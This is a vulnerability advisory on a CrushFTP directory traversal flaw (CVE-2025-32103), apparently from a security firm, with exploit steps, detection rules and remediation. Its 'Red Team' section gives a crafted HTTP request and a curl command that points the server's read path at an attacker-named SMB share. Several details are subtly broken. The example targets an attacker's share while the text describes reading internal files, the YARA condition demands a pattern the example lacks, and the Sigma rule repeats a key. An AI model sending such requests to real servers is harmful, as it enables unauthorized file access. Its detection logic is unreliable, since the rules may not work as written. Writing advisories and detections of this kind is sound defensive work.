CVE-2025-32103

Executive Summary

CVE-2025-32103 is a directory traversal vulnerability in CrushFTP versions 9.x, 10.x through 10.8.4, and 11.x through 11.3.1. The flaw resides in the /WebInterface/function/ URI, allowing an unauthenticated attacker to read files accessible by SMB at UNC share pathnames, effectively bypassing the SecurityManager restrictions. This vulnerability has a CVSS score of 5.0 (Medium) and is currently unpatched. The attack vector is network-based, requires no authentication, and has low complexity, making it a significant risk for exposed CrushFTP instances.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct software flaw in the CrushFTP application. Organizations using CrushFTP should treat this as a critical supply chain risk due to the lack of a patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is elevated due to the lack of authentication and the ability to read arbitrary files via SMB UNC paths. While the confidentiality impact is low, the potential for data exfiltration from internal SMB shares is significant.

Deep Dive & Mechanics

The vulnerability exists in the /WebInterface/function/ endpoint of CrushFTP. The application fails to properly sanitize user-supplied input when constructing file paths for SMB UNC shares. An attacker can inject directory traversal sequences (e.g., ../) to escape the intended directory and access files on SMB shares that the CrushFTP service has access to.

The core issue is that the SecurityManager, which is supposed to restrict file access, is bypassed when the path includes a UNC share pathname (e.g., \\server\share\file). The application does not validate that the requested path is within the allowed scope, allowing an attacker to read sensitive files from any accessible SMB share.

Attack Flow:

1. Attacker sends a crafted HTTP request to /WebInterface/function/ with a path parameter containing a UNC path and directory traversal sequences.
2. The CrushFTP server processes the request without proper validation.
3. The server reads the file from the SMB share and returns its contents in the HTTP response.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would need to:

• Validate that the requested path does not contain directory traversal sequences.
• Ensure that the path is within the allowed directory scope.
• Restrict access to SMB shares based on the SecurityManager configuration.

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
String path = request.getParameter("path");
File file = new File(path);
// Directly reads file without checking if path is allowed
String content = readFile(file);
response.write(content);

Patched Code (Conceptual):

// Patched: Validate path
String path = request.getParameter("path");
// Normalize path to remove traversal sequences
String normalizedPath = Paths.get(path).normalize().toString();
// Check if path is within allowed directory
if (!normalizedPath.startsWith(allowedBasePath)) {
    throw new SecurityException("Access denied");
}
File file = new File(normalizedPath);
String content = readFile(file);
response.write(content);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable CrushFTP instance (version 10.8.4 or 11.3.1)
• Network access to the CrushFTP web interface
• An accessible SMB share (e.g., \\target\share)

Exploit Steps:

1. Identify the CrushFTP web interface URL (e.g., http://target:8080).
2. Craft a request to read a file from an SMB share:

   GET /WebInterface/function/?command=read&path=\\attacker\share\file.txt HTTP/1.1
   Host: target:8080
   

3. The server will return the contents of file.txt from the SMB share.

Example using curl:

curl -v "http://target:8080/WebInterface/function/?command=read&path=\\attacker\share\file.txt"

Blue Team

Detection:

• Monitor HTTP requests to /WebInterface/function/ with suspicious path parameters containing \\ or ../.
• Look for outbound SMB connections from the CrushFTP server to unusual IP addresses.
• Check for unusual file read operations in CrushFTP logs.

Hunting:

• Search for requests with command=read and path containing UNC paths.
• Analyze network traffic for SMB protocol usage from the CrushFTP server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /WebInterface/function/ with command=read and path containing \\ or ../
  • Outbound SMB connections (port 445) from the CrushFTP server to external IPs
• File IOCs:
  • Unexpected files read from SMB shares
• Log IOCs:
  • CrushFTP logs showing read commands with UNC paths

Detection Engineering

YARA Rule

rule CVE_2025_32103_CrushFTP_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against CrushFTP CVE-2025-32103"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32103"
    strings:
        $traversal1 = "/WebInterface/function/"
        $traversal2 = "command=read"
        $traversal3 = "\\\\" nocase
        $traversal4 = "..\\" nocase
    condition:
        all of ($traversal*) and #traversal3 > 0
}

Sigma Rule

title: CrushFTP Directory Traversal via UNC Path (CVE-2025-32103)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting CVE-2025-32103 in CrushFTP
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/WebInterface/function/'
        cs-uri-query|contains: 'command=read'
        cs-uri-query|contains: '\\\\'
    condition: selection
falsepositives:
    - Legitimate SMB file access by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32103 CrushFTP Directory Traversal Attempt"; flow:to_server; content:"/WebInterface/function/"; http_uri; content:"command=read"; http_uri; content:"\\\\"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SMB access in CrushFTP configuration if not required.
2. Restrict network access to the CrushFTP web interface using firewalls or VPNs.
3. Monitor logs for suspicious requests to /WebInterface/function/.

Long-term Fix:

• Apply the vendor patch once released.
• Upgrade to a patched version of CrushFTP.
• Implement a Web Application Firewall (WAF) rule to block requests with UNC paths.

Workaround:

• Modify the CrushFTP configuration to disable the /WebInterface/function/ endpoint if not needed.

Valters IT
Securing Digital Frontiers